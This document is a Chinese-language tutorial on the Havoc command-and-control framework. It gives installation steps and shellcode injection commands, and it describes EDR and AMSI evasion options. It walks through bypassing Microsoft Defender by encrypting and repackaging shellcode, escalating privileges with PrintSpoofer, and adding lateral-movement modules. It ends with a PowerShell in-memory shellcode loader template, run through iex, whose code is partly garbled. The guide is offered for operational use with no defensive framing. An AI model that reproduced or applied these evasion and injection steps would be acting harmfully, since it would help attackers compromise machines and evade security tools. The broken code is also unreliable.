安装
这里推荐使用Ubuntu20.04.6或Kali
下载地址:
https://releases.ubuntu.com/focal/
安装Havoc如下:
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
构建以及运行:
sudo make ts-build
./havoc server --profile ./profiles/havoc.yaotl -v --debug
构建客户端:
make client-build
./havoc client
生成Shellcode
Indirect SysCall表示间接系统调用,对此EDR来说是合法的,通过间接系统调用来替换直接系统调用,直接系统调用就好比直接使用R0层的函数来直接调用,而间接系统调用的话中间有一个jmp操作,这样EDR看来就是合法的。
Stack Duplication表示堆栈复制,在Sleep期间使用堆栈复制来逃避我们的操作。
Foliage是一种睡眠混淆的方式,也可以使用EKKO等混淆方式。比如之前我们可以使用挂钩Sleep的方式来进行堆栈加密,比如RC4。
RtlCreateTimer表示在Sleep期间对ROP链本身进行排队。
Hardware beakpoints表示通过硬件断点来绕过AMSI。
我们可以通过标记Mark as Alive来表示Beacon已经掉了。
关于命令
关于命令这里主要介绍如下几个命令:
shellcode命令
shellcode这个命令可以对目标进程注入shellcode。
如下有3种方式可以注入shellcode,我们来看下这三种都如何使用。
第一种是Inject,可以将shellcode注入到远程进程中。
shellcode inject x64 2252 /home/kali/Desktop/demon.x64.bin
第二种是execute,这种方式是在自身的进程中进行注入shellcode。
shellcode execute x64 /home/kali/Desktop/demon.x64.bin
第三种是生成一个临时的进程并注入其中。
shellcode spawn x64 /home/kali/Desktop/demon.x64.bin
dotnet命令
我们可以使用如下命令来运行:
dotnet inline-execute /home/kali/Desktop/SharpUp.exe audit
比如我们使用SharpUp.exe这个dotnet程序来检查是否可以bypass uac。
绕过Defender
首先通过Harriet对我们的shellcode进行AES处理。
https://github.com/assume-breach/Home-Grown-Red-Team
生成Shellcode:
然后使用Harriet进行混淆处理,之后会生成一个exe文件。
然后我们需要使用resource Hacker对其打一个资源文件即可过Defender。
成功上线:
那么我们同样也可以使用dotnet命令来进行提权相关的操作。
dotnet inline-execute /home/kali/PrintSpoofer.exe -c -i C:\Users\Admin\Desktop\mar.exe
Bof
如果我们需要横向移动的话,需要加入Bof插件。
因为HAVOC更新之后将一些功能直接Bof化了,我们可以访问它的项目然后下载。
https://github.com/HavocFramework/Modules
下载之后,我们切换到HAVOC的Script manager中然后选择loader加载.py文件即可。
加进来之后我们查看jump-exec就有这个命令了。
HAVOC结合Powershell上线
首先生成shellcode.bin文件。
然后通过xxd将shellcode.bin文件转换。
xxd -p shellcode.bin | tr -d '\n' | sed 's/.\{2\}/0x&,/g' > shellcode.payload
然后将里面的内容复制出来,但是需要知道它的大小是多少。
cat shellcode.payload | tr ',' ' ' | wc -w
如下powershell模板:
@" =
using System;
using System.Runtime.InteropServices;
public class MyBusinessLogic {
static byte[] my_buf = new byte[shellcode的大小] {
shellcode
};
declaring VirtualAlloc function from kernel32.dll
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr address, uint dwSize, uint allocType, uint mode);
create delegate signature for executor function
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate void WindowRun();
public static void Main() {
get pointer of allocated buffer
IntPtr my_virt_alloc_pointer = VirtualAlloc(IntPtr.Zero, Convert.ToUInt32(my_buf.Length), 0x1000, 0x40);
write the buffer into memory
0x0, my_virt_alloc_pointer, my_buf.Length);
get function pointer of the allocated buffer
WindowRun business_run_logic = Marshal.GetDelegateForFunctionPointer<WindowRun>(my_virt_alloc_pointer);
run "business-logic"
business_run_logic();
}
}
"@
$MyBusinessLogic
:Main() :
执行:
powershell "cat -raw shellcode.ps1 | iex"
成功上线:
参考:
https://medium.com/@sam.rothlisberger/havoc-c2-with-av-edr-bypass-methods-in-2024-part-1-733d423fc67b\